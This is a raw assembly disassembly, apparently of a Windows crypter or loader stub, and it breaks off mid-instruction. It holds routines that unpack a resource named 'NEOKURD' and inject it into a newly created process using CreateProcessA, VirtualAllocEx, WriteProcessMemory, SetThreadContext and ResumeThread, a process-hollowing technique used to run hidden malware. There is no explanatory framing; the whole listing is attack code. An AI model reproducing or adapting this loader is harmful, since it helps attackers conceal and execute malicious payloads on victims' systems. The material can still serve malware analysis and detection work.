loc_10006B98: ; CODE XREF: sub_10006B74+1C0j mov ecx, [ebp+var_8] mov ebx, [ebp+var_C] add ecx, ebx mov [ebp+var_18], ecx lea ecx, [eax+edx] jmp short loc_10006BB7 ; --------------------------------------------------------------------------- loc_10006BA8: ; CODE XREF: sub_10006B74+64j mov bl, [ecx] mov edi, [ebp+var_18] mov [edi], bl inc edx inc ecx inc [ebp+var_C] inc [ebp+var_18] loc_10006BB7: ; CODE XREF: sub_10006B74+32j test esi, 7Fh jz short loc_10006BC5 mov ebx, esi add ebx, ebx jmp short loc_10006BD0 ; --------------------------------------------------------------------------- loc_10006BC5: ; CODE XREF: sub_10006B74+49j inc ecx mov ebx, edx inc edx movzx ebx, byte ptr [eax+ebx] add ebx, ebx inc ebx loc_10006BD0: ; CODE XREF: sub_10006B74+4Fj mov esi, ebx shr ebx, 8 test bl, 1 jnz short loc_10006BA8 mov ecx, 1 loc_10006BDF: ; CODE XREF: sub_10006B74+B1j test esi, 7Fh jz short loc_10006BED mov ebx, esi add ebx, ebx jmp short loc_10006BF7 ; --------------------------------------------------------------------------- loc_10006BED: ; CODE XREF: sub_10006B74+71j mov ebx, edx inc edx movzx ebx, byte ptr [eax+ebx] add ebx, ebx inc ebx loc_10006BF7: ; CODE XREF: sub_10006B74+77j mov esi, ebx add ecx, ecx shr ebx, 8 and ebx, 1 add ebx, ecx test esi, 7Fh mov ecx, ebx jz short loc_10006C13 mov ebx, esi add ebx, ebx jmp short loc_10006C1D ; --------------------------------------------------------------------------- loc_10006C13: ; CODE XREF: sub_10006B74+97j mov ebx, edx inc edx movzx ebx, byte ptr [eax+ebx] add ebx, ebx inc ebx loc_10006C1D: ; CODE XREF: sub_10006B74+9Dj mov esi, ebx shr ebx, 8 test bl, 1 jz short loc_10006BDF cmp ecx, 2 jnz short loc_10006C31 mov ecx, [ebp+var_10] jmp short loc_10006C4C ; --------------------------------------------------------------------------- loc_10006C31: ; CODE XREF: sub_10006B74+B6j sub ecx, 3 xor ebx, ebx shl ecx, 8 mov bl, [eax+edx] inc edx add ecx, ebx cmp ecx, 0FFFFFFFFh jz loc_10006D39 inc ecx mov [ebp+var_10], ecx loc_10006C4C: ; CODE XREF: sub_10006B74+BBj test esi, 7Fh jz short loc_10006C5A mov ebx, esi add ebx, ebx jmp short loc_10006C64 ; --------------------------------------------------------------------------- loc_10006C5A: ; CODE XREF: sub_10006B74+DEj mov ebx, edx inc edx movzx ebx, byte ptr [eax+ebx] add ebx, ebx inc ebx loc_10006C64: ; CODE XREF: sub_10006B74+E4j mov esi, ebx shr ebx, 8 and ebx, 1 test esi, 7Fh mov [ebp+var_14], ebx jz short loc_10006C7D mov ebx, esi add ebx, ebx jmp short loc_10006C87 ; --------------------------------------------------------------------------- loc_10006C7D: ; CODE XREF: sub_10006B74+101j mov ebx, edx inc edx movzx ebx, byte ptr [eax+ebx] add ebx, ebx inc ebx loc_10006C87: ; CODE XREF: sub_10006B74+107j mov esi, ebx mov edi, [ebp+var_14] shr ebx, 8 add edi, edi and ebx, 1 add ebx, edi mov [ebp+var_14], ebx cmp [ebp+var_14], 0 jnz short loc_10006CF2 inc [ebp+var_14] loc_10006CA2: ; CODE XREF: sub_10006B74+178j test esi, 7Fh jz short loc_10006CB0 mov ebx, esi add ebx, ebx jmp short loc_10006CBA ; --------------------------------------------------------------------------- loc_10006CB0: ; CODE XREF: sub_10006B74+134j mov ebx, edx inc edx movzx ebx, byte ptr [eax+ebx] add ebx, ebx inc ebx loc_10006CBA: ; CODE XREF: sub_10006B74+13Aj mov esi, ebx mov edi, [ebp+var_14] shr ebx, 8 add edi, edi and ebx, 1 add ebx, edi test esi, 7Fh mov [ebp+var_14], ebx jz short loc_10006CDA mov ebx, esi add ebx, ebx jmp short loc_10006CE4 ; --------------------------------------------------------------------------- loc_10006CDA: ; CODE XREF: sub_10006B74+15Ej mov ebx, edx inc edx movzx ebx, byte ptr [eax+ebx] add ebx, ebx inc ebx loc_10006CE4: ; CODE XREF: sub_10006B74+164j mov esi, ebx shr ebx, 8 test bl, 1 jz short loc_10006CA2 add [ebp+var_14], 2 loc_10006CF2: ; CODE XREF: sub_10006B74+129j cmp ecx, 0D00h setnbe bl and ebx, 1 add [ebp+var_14], ebx mov ebx, [ebp+var_8] mov edi, [ebp+var_C] add ebx, [ebp+var_C] sub ebx, ecx mov ecx, ebx mov ebx, [ebp+var_8] add ebx, edi push ebx pop edi mov bl, [ecx] inc ecx mov [edi], bl inc [ebp+var_C] loc_10006D1D: ; CODE XREF: sub_10006B74+1BEj mov ebx, [ebp+var_8] mov edi, [ebp+var_C] add ebx, edi push ebx mov bl, [ecx] pop edi mov [edi], bl inc ecx inc [ebp+var_C] dec [ebp+var_14] jnz short loc_10006D1D jmp loc_10006B98 ; --------------------------------------------------------------------------- loc_10006D39: ; CODE XREF: sub_10006B74+CEj mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx cmp edx, [ebp+var_4] jnz short loc_10006D4A xor eax, eax jmp short loc_10006D5B ; --------------------------------------------------------------------------- loc_10006D4A: ; CODE XREF: sub_10006B74+1D0j cmp edx, [ebp+var_4] jnb short loc_10006D56 mov eax, 0FFFFFF33h jmp short loc_10006D5B ; --------------------------------------------------------------------------- loc_10006D56: ; CODE XREF: sub_10006B74+1D9j mov eax, 0FFFFFF37h loc_10006D5B: ; CODE XREF: sub_10006B74+1D4j ; sub_10006B74+1E0j pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_10006B74 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp-8], ecx mov [ebp-4], edx xor ecx, ecx xor esi, esi mov [ebp-0Ch], ecx lea ecx, [ebp+8] xor edx, edx test ecx, ecx mov dword ptr [ebp-10h], 1 loc_10006D88: ; CODE XREF: CODE:10006FC9j mov ecx, [ebp-8] mov ebx, [ebp-0Ch] add ecx, ebx mov [ebp-18h], ecx lea ecx, [eax+edx-2] jmp short loc_10006DA9 ; --------------------------------------------------------------------------- loc_10006D99: ; CODE XREF: CODE:10006DE1j mov bl, [ecx+2] mov edi, [ebp-18h] mov [edi], bl inc edx inc ecx inc dword ptr [ebp-0Ch] inc dword ptr [ebp-18h] loc_10006DA9: ; CODE XREF: CODE:10006D97j mov ebx, esi add ebx, ebx mov esi, ebx test esi, 0FFFFh jz short loc_10006DC1 mov ebx, esi shr ebx, 10h and ebx, 1 jmp short loc_10006DDF ; --------------------------------------------------------------------------- loc_10006DC1: ; CODE XREF: CODE:10006DB5j add ecx, 2 xor ebx, ebx add edx, 2 movzx esi, byte ptr [ecx] mov bl, [ecx+1] shl ebx, 8 add esi, ebx add esi, esi inc esi mov ebx, esi shr ebx, 10h and ebx, 1 loc_10006DDF: ; CODE XREF: CODE:10006DBFj test ebx, ebx jnz short loc_10006D99 mov ecx, 1 loc_10006DE8: ; CODE XREF: CODE:10006E5Cj mov ebx, esi add ebx, ebx mov esi, ebx test esi, 0FFFFh jz short loc_10006E00 mov ebx, esi shr ebx, 10h and ebx, 1 jmp short loc_10006E1E ; --------------------------------------------------------------------------- loc_10006E00: ; CODE XREF: CODE:10006DF4j add edx, 2 xor ebx, ebx movzx esi, byte ptr [eax+edx-2] mov bl, [eax+edx-1] shl ebx, 8 add esi, ebx add esi, esi inc esi mov ebx, esi shr ebx, 10h and ebx, 1 loc_10006E1E: ; CODE XREF: CODE:10006DFEj add ecx, ecx add ebx, ecx mov ecx, ebx mov ebx, esi add ebx, ebx mov esi, ebx test esi, 0FFFFh jz short loc_10006E3C mov ebx, esi shr ebx, 10h and ebx, 1 jmp short loc_10006E5A ; --------------------------------------------------------------------------- loc_10006E3C: ; CODE XREF: CODE:10006E30j add edx, 2 xor ebx, ebx movzx esi, byte ptr [eax+edx-2] mov bl, [eax+edx-1] shl ebx, 8 add esi, ebx add esi, esi inc esi mov ebx, esi shr ebx, 10h and ebx, 1 loc_10006E5A: ; CODE XREF: CODE:10006E3Aj test ebx, ebx jz short loc_10006DE8 cmp ecx, 2 jnz short loc_10006E68 mov ecx, [ebp-10h] jmp short loc_10006E83 ; --------------------------------------------------------------------------- loc_10006E68: ; CODE XREF: CODE:10006E61j sub ecx, 3 xor ebx, ebx shl ecx, 8 mov bl, [eax+edx] inc edx add ecx, ebx cmp ecx, 0FFFFFFFFh jz loc_10006FCE inc ecx mov [ebp-10h], ecx loc_10006E83: ; CODE XREF: CODE:10006E66j mov ebx, esi add ebx, ebx mov esi, ebx test esi, 0FFFFh jz short loc_10006E9B mov ebx, esi shr ebx, 10h and ebx, 1 jmp short loc_10006EB9 ; --------------------------------------------------------------------------- loc_10006E9B: ; CODE XREF: CODE:10006E8Fj add edx, 2 xor ebx, ebx movzx esi, byte ptr [eax+edx-2] mov bl, [eax+edx-1] shl ebx, 8 add esi, ebx add esi, esi inc esi mov ebx, esi shr ebx, 10h and ebx, 1 loc_10006EB9: ; CODE XREF: CODE:10006E99j mov [ebp-14h], ebx mov ebx, esi add ebx, ebx mov esi, ebx test esi, 0FFFFh jz short loc_10006ED4 mov ebx, esi shr ebx, 10h and ebx, 1 jmp short loc_10006EF2 ; --------------------------------------------------------------------------- loc_10006ED4: ; CODE XREF: CODE:10006EC8j add edx, 2 xor ebx, ebx movzx esi, byte ptr [eax+edx-2] mov bl, [eax+edx-1] shl ebx, 8 add esi, ebx add esi, esi inc esi mov ebx, esi shr ebx, 10h and ebx, 1 loc_10006EF2: ; CODE XREF: CODE:10006ED2j mov edi, [ebp-14h] add edi, edi add ebx, edi mov [ebp-14h], ebx cmp dword ptr [ebp-14h], 0 jnz loc_10006F87 inc dword ptr [ebp-14h] loc_10006F09: ; CODE XREF: CODE:10006F81j mov ebx, esi add ebx, ebx mov esi, ebx test esi, 0FFFFh jz short loc_10006F21 mov ebx, esi shr ebx, 10h and ebx, 1 jmp short loc_10006F3F ; --------------------------------------------------------------------------- loc_10006F21: ; CODE XREF: CODE:10006F15j add edx, 2 xor ebx, ebx movzx esi, byte ptr [eax+edx-2] mov bl, [eax+edx-1] shl ebx, 8 add esi, ebx add esi, esi inc esi mov ebx, esi shr ebx, 10h and ebx, 1 loc_10006F3F: ; CODE XREF: CODE:10006F1Fj mov edi, [ebp-14h] add edi, edi add ebx, edi mov [ebp-14h], ebx mov ebx, esi add ebx, ebx mov esi, ebx test esi, 0FFFFh jz short loc_10006F61 mov ebx, esi shr ebx, 10h and ebx, 1 jmp short loc_10006F7F ; --------------------------------------------------------------------------- loc_10006F61: ; CODE XREF: CODE:10006F55j add edx, 2 xor ebx, ebx movzx esi, byte ptr [eax+edx-2] mov bl, [eax+edx-1] shl ebx, 8 add esi, ebx add esi, esi inc esi mov ebx, esi shr ebx, 10h and ebx, 1 loc_10006F7F: ; CODE XREF: CODE:10006F5Fj test ebx, ebx jz short loc_10006F09 add dword ptr [ebp-14h], 2 loc_10006F87: ; CODE XREF: CODE:10006F00j cmp ecx, 0D00h setnbe bl and ebx, 1 add [ebp-14h], ebx mov ebx, [ebp-8] mov edi, [ebp-0Ch] add ebx, [ebp-0Ch] sub ebx, ecx mov ecx, ebx mov ebx, [ebp-8] add ebx, edi push ebx pop edi mov bl, [ecx] inc ecx mov [edi], bl inc dword ptr [ebp-0Ch] loc_10006FB2: ; CODE XREF: CODE:10006FC7j mov ebx, [ebp-8] mov edi, [ebp-0Ch] add ebx, edi push ebx mov bl, [ecx] pop edi mov [edi], bl inc ecx inc dword ptr [ebp-0Ch] dec dword ptr [ebp-14h] jnz short loc_10006FB2 jmp loc_10006D88 ; --------------------------------------------------------------------------- loc_10006FCE: ; CODE XREF: CODE:10006E79j mov eax, [ebp+0Ch] mov ecx, [ebp-0Ch] mov [eax], ecx cmp edx, [ebp-4] jnz short loc_10006FDF xor eax, eax jmp short loc_10006FF0 ; --------------------------------------------------------------------------- loc_10006FDF: ; CODE XREF: CODE:10006FD9j cmp edx, [ebp-4] jnb short loc_10006FEB mov eax, 0FFFFFF33h jmp short loc_10006FF0 ; --------------------------------------------------------------------------- loc_10006FEB: ; CODE XREF: CODE:10006FE2j mov eax, 0FFFFFF37h loc_10006FF0: ; CODE XREF: CODE:10006FDDj ; CODE:10006FE9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov [ebp-0Ch], ecx mov [ebp-8], edx mov [ebp-4], eax xor ebx, ebx xor eax, eax xor esi, esi mov [ebp-10h], eax xor edx, edx lea ecx, [ebp+8] mov dword ptr [ebp-14h], 1 test ecx, ecx loc_10007025: ; CODE XREF: CODE:100071F5j mov eax, [ebp-0Ch] mov ecx, [ebp-10h] add eax, ecx mov [ebp-1Ch], eax mov ecx, [ebp-4] lea eax, [ecx+edx] jmp short loc_10007047 ; --------------------------------------------------------------------------- loc_10007038: ; CODE XREF: CODE:1000706Ej mov cl, [eax] mov edi, [ebp-1Ch] mov [edi], cl inc edx inc eax inc dword ptr [ebp-10h] inc dword ptr [ebp-1Ch] loc_10007047: ; CODE XREF: CODE:10007036j test ebx, ebx jbe short loc_10007057 dec ebx mov ecx, ebx mov edi, esi shr edi, cl and edi, 1 jmp short loc_1000706C ; --------------------------------------------------------------------------- loc_10007057: ; CODE XREF: CODE:10007049j mov esi, [eax] add eax, 4 mov edi, esi add edx, 4 shr edi, 1Fh mov ebx, 1Fh and edi, 1 loc_1000706C: ; CODE XREF: CODE:10007055j test edi, edi jnz short loc_10007038 mov eax, 1 loc_10007075: ; CODE XREF: CODE:100070C9j test ebx, ebx jbe short loc_10007085 dec ebx mov ecx, ebx mov edi, esi shr edi, cl and edi, 1 jmp short loc_1000709B ; --------------------------------------------------------------------------- loc_10007085: ; CODE XREF: CODE:10007077j mov ebx, 1Fh mov ecx, [ebp-4] mov esi, [ecx+edx] add edx, 4 mov edi, esi shr edi, 1Fh and edi, 1 loc_1000709B: ; CODE XREF: CODE:10007083j add eax, eax add edi, eax test ebx, ebx mov eax, edi jbe short loc_100070B1 dec ebx mov ecx, ebx mov edi, esi shr edi, cl and edi, 1 jmp short loc_100070C7 ; --------------------------------------------------------------------------- loc_100070B1: ; CODE XREF: CODE:100070A3j mov ebx, 1Fh mov ecx, [ebp-4] mov esi, [ecx+edx] add edx, 4 mov edi, esi shr edi, 1Fh and edi, 1 loc_100070C7: ; CODE XREF: CODE:100070AFj test edi, edi jz short loc_10007075 cmp eax, 2 jnz short loc_100070D5 mov eax, [ebp-14h] jmp short loc_100070F4 ; --------------------------------------------------------------------------- loc_100070D5: ; CODE XREF: CODE:100070CEj mov ecx, [ebp-4] sub eax, 3 shl eax, 8 movzx ecx, byte ptr [ecx+edx] add ecx, eax inc edx mov eax, ecx cmp eax, 0FFFFFFFFh jz loc_100071FA inc eax mov [ebp-14h], eax loc_100070F4: ; CODE XREF: CODE:100070D3j test ebx, ebx jbe short loc_10007104 dec ebx mov ecx, ebx mov edi, esi shr edi, cl and edi, 1 jmp short loc_1000711A ; --------------------------------------------------------------------------- loc_10007104: ; CODE XREF: CODE:100070F6j mov ebx, 1Fh mov ecx, [ebp-4] mov esi, [ecx+edx] add edx, 4 mov edi, esi shr edi, 1Fh and edi, 1 loc_1000711A: ; CODE XREF: CODE:10007102j mov [ebp-18h], edi test ebx, ebx jbe short loc_1000712D dec ebx mov ecx, ebx mov edi, esi shr edi, cl and edi, 1 jmp short loc_10007143 ; --------------------------------------------------------------------------- loc_1000712D: ; CODE XREF: CODE:1000711Fj mov ebx, 1Fh mov ecx, [ebp-4] mov esi, [ecx+edx] add edx, 4 mov edi, esi shr edi, 1Fh and edi, 1 loc_10007143: ; CODE XREF: CODE:1000712Bj mov ecx, [ebp-18h] add ecx, ecx add edi, ecx mov [ebp-18h], edi cmp dword ptr [ebp-18h], 0 jnz short loc_100071B4 inc dword ptr [ebp-18h] loc_10007156: ; CODE XREF: CODE:100071AEj test ebx, ebx jbe short loc_10007166 dec ebx mov ecx, ebx mov edi, esi shr edi, cl and edi, 1 jmp short loc_1000717C ; --------------------------------------------------------------------------- loc_10007166: ; CODE XREF: CODE:10007158j mov ebx, 1Fh mov ecx, [ebp-4] mov esi, [ecx+edx] add edx, 4 mov edi, esi shr edi, 1Fh and edi, 1 loc_1000717C: ; CODE XREF: CODE:10007164j mov ecx, [ebp-18h] add ecx, ecx add edi, ecx test ebx, ebx mov [ebp-18h], edi jbe short loc_10007196 dec ebx mov ecx, ebx mov edi, esi shr edi, cl and edi, 1 jmp short loc_100071AC ; --------------------------------------------------------------------------- loc_10007196: ; CODE XREF: CODE:10007188j mov ebx, 1Fh mov ecx, [ebp-4] mov esi, [ecx+edx] add edx, 4 mov edi, esi shr edi, 1Fh and edi, 1 loc_100071AC: ; CODE XREF: CODE:10007194j test edi, edi jz short loc_10007156 add dword ptr [ebp-18h], 2 loc_100071B4: ; CODE XREF: CODE:10007151j cmp eax, 0D00h setnbe cl and ecx, 1 add [ebp-18h], ecx mov ecx, [ebp-0Ch] mov edi, [ebp-10h] add ecx, [ebp-10h] sub ecx, eax mov eax, ecx mov ecx, [ebp-0Ch] add ecx, edi push ecx pop edi mov cl, [eax] inc eax mov [edi], cl inc dword ptr [ebp-10h] loc_100071DE: ; CODE XREF: CODE:100071F3j mov ecx, [ebp-0Ch] mov edi, [ebp-10h] add ecx, edi push ecx mov cl, [eax] pop edi mov [edi], cl inc eax inc dword ptr [ebp-10h] dec dword ptr [ebp-18h] jnz short loc_100071DE jmp loc_10007025 ; --------------------------------------------------------------------------- loc_100071FA: ; CODE XREF: CODE:100070EAj mov eax, [ebp+0Ch] mov ecx, [ebp-10h] mov [eax], ecx cmp edx, [ebp-8] jnz short loc_1000720B xor eax, eax jmp short loc_1000721C ; --------------------------------------------------------------------------- loc_1000720B: ; CODE XREF: CODE:10007205j cmp edx, [ebp-8] jnb short loc_10007217 mov eax, 0FFFFFF33h jmp short loc_1000721C ; --------------------------------------------------------------------------- loc_10007217: ; CODE XREF: CODE:1000720Ej mov eax, 0FFFFFF37h loc_1000721C: ; CODE XREF: CODE:10007209j ; CODE:10007215j pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_1000724D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A674 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10007254 loc_1000724C: ; CODE XREF: CODE:10007252j retn ; --------------------------------------------------------------------------- loc_1000724D: ; DATA XREF: CODE:1000722Eo jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_1000724C ; --------------------------------------------------------------------------- loc_10007254: ; CODE XREF: CODE:loc_1000724Cj ; DATA XREF: CODE:10007247o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_1000A674, 1 retn ; =============== S U B R O U T I N E ======================================= sub_10007260 proc near ; CODE XREF: sub_100072F4+ACp ; sub_100072F4+102p ... push ebx mov ebx, edx mov ecx, eax mov eax, ecx xor edx, edx div ebx test edx, edx jnz short loc_10007273 mov eax, ecx pop ebx retn ; --------------------------------------------------------------------------- loc_10007273: ; CODE XREF: sub_10007260+Dj mov eax, ecx xor edx, edx div ebx inc eax imul ebx pop ebx retn sub_10007260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10007280 proc near ; CODE XREF: sub_100072F4+34p var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ecx, [eax+3Ch] add ecx, eax mov edi, [ecx+38h] mov ebx, [ecx+54h] mov eax, ebx xor edx, edx div edi test edx, edx jnz short loc_1000729F mov [esp+14h+var_14], ebx jmp short loc_100072AB ; --------------------------------------------------------------------------- loc_1000729F: ; CODE XREF: sub_10007280+18j mov eax, ebx xor edx, edx div edi inc eax imul edi mov [esp+14h+var_14], eax loc_100072AB: ; CODE XREF: sub_10007280+1Dj lea esi, [ecx+18h] movzx eax, word ptr [ecx+14h] add esi, eax movzx ebx, word ptr [ecx+6] dec ebx test ebx, ebx jb short loc_100072EA inc ebx xor ecx, ecx loc_100072C0: ; CODE XREF: sub_10007280+68j lea eax, [ecx+ecx*4] mov ebp, [esi+eax*8+8] test ebp, ebp jz short loc_100072E6 mov eax, ebp xor edx, edx div edi test edx, edx jnz short loc_100072DA add [esp+14h+var_14], ebp jmp short loc_100072E6 ; --------------------------------------------------------------------------- loc_100072DA: ; CODE XREF: sub_10007280+53j mov eax, ebp xor edx, edx div edi inc eax imul edi add [esp+14h+var_14], eax loc_100072E6: ; CODE XREF: sub_10007280+49j ; sub_10007280+58j inc ecx dec ebx jnz short loc_100072C0 loc_100072EA: ; CODE XREF: sub_10007280+3Bj mov eax, [esp+14h+var_14] pop edx pop ebp pop edi pop esi pop ebx retn sub_10007280 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100072F4 proc near ; CODE XREF: sub_10007610+32p ; sub_1000765C+2Dp ... var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_E8 = dword ptr -0E8h var_44 = dword ptr -44h var_38 = dword ptr -38h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEC0h push ebx push esi push edi xor edx, edx mov [ebp+var_140], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_10007580 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov eax, [eax+3Ch] add eax, [ebp+var_4] mov [ebp+var_18], eax mov eax, [ebp+var_4] call sub_10007280 mov [ebp+var_10], eax mov eax, [ebp+var_10] call sub_10002448 mov [ebp+var_1C], eax xor edx, edx push ebp push offset loc_10007560 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_1C] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov eax, [eax+54h] mov edx, [ebp+var_18] lea esi, [edx+18h] mov edx, [ebp+var_18] movzx edx, word ptr [edx+14h] add esi, edx mov edx, [ebp+var_18] movzx edi, word ptr [edx+6] dec edi test edi, edi jb short loc_10007387 inc edi xor ebx, ebx loc_10007373: ; CODE XREF: sub_100072F4+91j lea edx, [ebx+ebx*4] cmp eax, [esi+edx*8+14h] jbe short loc_10007383 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+14h] loc_10007383: ; CODE XREF: sub_100072F4+86j inc ebx dec edi jnz short loc_10007373 loc_10007387: ; CODE XREF: sub_100072F4+7Aj mov ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_14] call sub_10003790 mov eax, [ebp+var_18] mov edx, [eax+38h] mov eax, [ebp+var_18] mov eax, [eax+54h] call sub_10007260 add eax, [ebp+var_14] mov [ebp+var_14], eax mov eax, [ebp+var_18] movzx edi, word ptr [eax+6] dec edi test edi, edi jb short loc_10007429 inc edi xor ebx, ebx loc_100073BA: ; CODE XREF: sub_100072F4+133j lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+10h] test eax, eax jbe short loc_10007403 lea edx, [ebx+ebx*4] cmp eax, [esi+edx*8+8] jbe short loc_100073D5 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] loc_100073D5: ; CODE XREF: sub_100072F4+D8j lea edx, [ebx+ebx*4] mov edx, [esi+edx*8+14h] add edx, [ebp+var_4] mov ecx, eax mov eax, [ebp+var_14] call sub_10003790 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] mov edx, [ebp+var_18] mov edx, [edx+38h] call sub_10007260 add eax, [ebp+var_14] mov [ebp+var_14], eax jmp short loc_10007425 ; --------------------------------------------------------------------------- loc_10007403: ; CODE XREF: sub_100072F4+CFj lea eax, [ebx+ebx*4] cmp dword ptr [esi+eax*8+8], 0 jz short loc_10007425 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] mov edx, [ebp+var_18] mov edx, [edx+38h] call sub_10007260 add eax, [ebp+var_14] mov [ebp+var_14], eax loc_10007425: ; CODE XREF: sub_100072F4+10Dj ; sub_100072F4+117j inc ebx dec edi jnz short loc_100073BA loc_10007429: ; CODE XREF: sub_100072F4+C1j lea eax, [ebp+var_13C] mov edx, 44h call sub_10003798 lea eax, [ebp+var_E8] mov edx, 0CCh call sub_10003798 lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_13C] push eax push 0 push 0 push 4 push 0 push 0 push 0 lea edx, [ebp+var_140] xor eax, eax call sub_10002678 mov eax, [ebp+var_140] call sub_10003274 push eax push 0 call sub_10003728 ; CreateProcessA mov [ebp+var_E8], 10007h lea eax, [ebp+var_E8] push eax mov eax, [ebp+var_F4] push eax call sub_10003740 ; GetThreadContext lea eax, [ebp+var_C] push eax push 4 lea eax, [ebp+var_8] push eax mov eax, [ebp+var_44] add eax, 8 push eax mov eax, [ebp+var_F8] push eax call sub_10003758 ; ReadProcessMemory push 40h push 3000h mov eax, [ebp+var_10] push eax mov eax, [ebp+var_18] mov eax, [eax+34h] push eax mov eax, [ebp+var_F8] push eax call sub_10003780 ; VirtualAllocEx lea eax, [ebp+var_C] push eax mov eax, [ebp+var_10] push eax mov eax, [ebp+var_1C] push eax mov eax, [ebp+var_18] mov eax, [eax+34h] push eax mov eax, [ebp+var_F8] push eax call sub_10003788 ; WriteProcessMemory lea eax, [ebp+var_C] push eax push 4 mov eax, [ebp+var_18] add eax, 34h push eax mov eax, [ebp+var_44] add eax, 8 push eax mov eax, [ebp+var_F8] push eax call sub_10003788 ; WriteProcessMemory mov eax, [ebp+var_18] mov eax, [eax+34h] mov edx, [ebp+var_18] add eax, [edx+28h] mov [ebp+var_38], eax lea eax, [ebp+var_E8] push eax mov eax, [ebp+var_F4] push eax call sub_10003768 ; SetThreadContext mov eax, [ebp+var_F4] push eax call sub_10003760 ; ResumeThread xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10007567 loc_10007555: ; CODE XREF: sub_100072F4+271j mov eax, [ebp+var_1C] push eax call sub_100033C8 pop ecx retn ; --------------------------------------------------------------------------- loc_10007560: ; DATA XREF: sub_100072F4+4Ao jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10007555 ; --------------------------------------------------------------------------- loc_10007567: ; CODE XREF: sub_100072F4+26Bj ; DATA XREF: sub_100072F4+25Co xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10007587 loc_10007574: ; CODE XREF: sub_100072F4+291j lea eax, [ebp+var_140] call sub_100030C4 retn ; --------------------------------------------------------------------------- loc_10007580: ; DATA XREF: sub_100072F4+1Ao jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10007574 ; --------------------------------------------------------------------------- loc_10007587: ; CODE XREF: sub_100072F4+28Bj ; DATA XREF: sub_100072F4+27Bo pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_100072F4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10007590 proc near ; CODE XREF: sub_10007610+1Dp ; sub_1000765C+1Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push 0 call sub_10003738 ; GetModuleHandleA push eax call sub_10003730 ; FindResourceA mov ebx, eax test ebx, ebx jz short loc_100075CA push ebx push 0 call sub_10003738 ; GetModuleHandleA push eax call sub_10003748 ; LoadResource test eax, eax jz short loc_100075CA push eax call sub_10003750 ; LockResource mov esi, eax loc_100075CA: ; CODE XREF: sub_10007590+1Ej ; sub_10007590+30j mov eax, esi pop esi pop ebx pop ebp retn 8 sub_10007590 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100075D4 proc near ; CODE XREF: sub_10007610+Bp ; sub_1000765C+Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push 0 call sub_10003738 ; GetModuleHandleA push eax call sub_10003730 ; FindResourceA mov ebx, eax test ebx, ebx jz short loc_10007608 push ebx push 0 call sub_10003738 ; GetModuleHandleA push eax call sub_10003770 ; SizeofResource test eax, eax jz short loc_10007608 mov esi, eax loc_10007608: ; CODE XREF: sub_100075D4+1Ej ; sub_100075D4+30j mov eax, esi pop esi pop ebx pop ebp retn 8 sub_100075D4 endp ; =============== S U B R O U T I N E ======================================= sub_10007610 proc near ; CODE XREF: CODE:100078CFp var_4 = dword ptr -4 push ecx push offset aRc_data ; "RC_DATA" push offset aNeokurd ; "NEOKURD" call sub_100075D4 mov [esp+4+var_4], eax push offset aRc_data ; "RC_DATA" push offset aNeokurd ; "NEOKURD" call sub_10007590 mov edx, esp mov ecx, 2 call sub_100037E0 test eax, eax jz short loc_10007647 call sub_100072F4 loc_10007647: ; CODE XREF: sub_10007610+30j pop edx retn sub_10007610 endp ; --------------------------------------------------------------------------- align 4 aRc_data db 'RC_DATA',0 ; DATA XREF: sub_10007610+1o ; sub_10007610+13o aNeokurd db 'NEOKURD',0 ; DATA XREF: sub_10007610+6o ; sub_10007610+18o ; =============== S U B R O U T I N E ======================================= sub_1000765C proc near ; CODE XREF: CODE:1000791Ap var_4 = dword ptr -4 push ecx push offset aRc_data_2 ; "RC_DATA" push offset aNeokurd_2 ; "NEOKURD" call sub_100075D4 mov [esp+4+var_4], eax push offset aRc_data_2 ; "RC_DATA" push offset aNeokurd_2 ; "NEOKURD" call 